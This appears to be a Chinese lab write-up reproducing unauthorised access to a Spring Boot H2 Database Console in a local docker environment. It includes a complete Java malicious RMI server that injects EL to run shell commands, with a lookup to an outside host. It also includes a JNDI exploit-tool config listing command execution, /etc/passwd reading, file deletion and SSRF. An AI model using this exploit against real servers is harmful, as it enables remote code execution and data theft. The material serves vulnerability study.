当前位置: 首页 > ops >正文

新后端漏洞(上)- H2 Database Console 未授权访问

漏洞介绍:

H2 database是一款Java内存数据库,多用于单元测试。

H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

参考链接:

https://mp.weixin.qq.com/s?__biz=MzI2NTM1MjQ3OA==&mid=2247483658&idx=1&sn=584710da0fbe56c1246755147bcec48e

漏洞环境:

docker 环境

执行如下命令启动一个Springboot + h2database环境:

docker-compose up -d

启动后,访问http://127.0.0.1:8082/h2-console/即可查看到H2 database的管理页面

1、漏洞复现

目标环境是Java 8u252,版本较高,因为上下文是Tomcat环境,我们可以参考

《Exploiting JNDI Injections in Java》,使用org.apache.naming.factory.BeanFactory加EL表达式注入的方式来执行任意命令。

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;public class EvilRMIServerNew {public static void main(String[] args) throws Exception {System.out.println("Creating evil RMI registry on port 1097");Registry registry = LocateRegistry.createRegistry(1097);//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactoryResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance coderef.add(new StringRefAddr("forceString", "x=eval"));//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windowsref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);registry.bind("Object", referenceWrapper);}
}
2、可以借助这个小工具JNDI简化我们的复现过程。首先设置JNDI工具中执行的命令为

touch /tmp/success

# [ 服务监听地址 ]
rmi.port=23456
ldap.port=23457
jettyPort.port=22222
# [ 命令执行 ]
command=open -a Calculator.app
# [ 文件写入 ]
write.file.path=/Users/phoebe/Downloads/3.txt
write.file.content=write test
# [ 文件读取 ]
read.file.path=/etc/passwd
# [ SSRF ]
ssrf.url=http://127.0.0.1:8082/
# [ 目录遍历 ]
list.dir=/Users/phoebe/PycharmProjects
# [ 文件删除路径 ]
delete.file.path=/Users/phoebe/Downloads/3.txt
# [ 执行数据库查询 ]
jdbc.driver=com.mysql.jdbc.Driver
jdbc.url=jdbc:mysql://localhost:3306/database
jdbc.username=root
jdbc.password=root
jdbc.query=select version();
# [ 回显方式 ][ Exception|OOB|Tomcat|WebLogic ]
echo=Tomcat
# [ OOB CEYE.io 配置]
identifier=7qx0jt.ceye.io

3、然后启动JNDI-1.0-all.jar,在h2 console页面填入JNDI类名和URL地址:

其中,javax.naming.InitialContext是JNDI的工厂类,URL:rmi://127.0.0.1:23456/BypassByEL,是运行JNDI工具监听的RMI地址。

点击连接后,恶意RMI成功接收到请求:

touch /tmp/success已成功执行:

http://www.xdnf.cn/news/19968.html

相关文章:

  • 高级RAG策略学习(四)——上下文窗口增强检索RAG
  • 耐达讯自动化RS485与Profinet双向奔赴,伺服驱动器连接“稳稳拿捏”
  • 第24节:3D音频与空间音效实现
  • 如何使用宝塔API批量操作Windows目录文件:从获取文件列表到删除文件的完整示例
  • 【第三方网站测试:WEB安全测试中HTTP响应头安全配置的检测的几个要点】
  • 【Web安全】命令注入与代码注入漏洞解析及安全测试指南
  • 极致效率:用 Copilot 加速你的 Android 开发
  • Linux内核网络安全序列号生成机制解析
  • 复合机器人能否更换末端执行器?
  • threejs入门学习日记
  • 分布式微服务--ZooKeeper作为分布式锁
  • Spring如何解决循环依赖:深入理解三级缓存机制
  • Android13 系统源码核心目录解析
  • css margin外边距重叠/塌陷问题
  • AI时代企业获取精准流量与实现增长的GEO新引擎
  • Android14实现Settings左右分屏显示的 代码修改
  • 智能相机还是视觉系统?一文讲透工业视觉两大选择的取舍之道
  • MCP驱动企业微信智能中枢:企业级机器人服务构建全攻略
  • 嘎嘎厉害!耐达讯自动化RS485转Profinet网关就是食品温控的“天选之子”
  • vscode连接SSH
  • 25高教社杯数模国赛【C题超高质量思路+可运行代码】第十弹
  • PostgreSQL15——DML 语句
  • jodconverter将word转pdf底层libreoffice的问题
  • 企业微信AI怎么用才高效?3大功能+5个实操场景,实测效率提升50%
  • Linux服务器暴走,用Netdata+cpolar轻松驯化
  • 数据库查询优化
  • 高级RAG策略学习(六)——Contextual Chunk Headers(CCH)技术
  • MySQL InnoDB 的 MVCC 机制
  • 在选择iOS代签服务前,你必须了解的三大安全风险
  • Opencv C++ 教程-人脸识别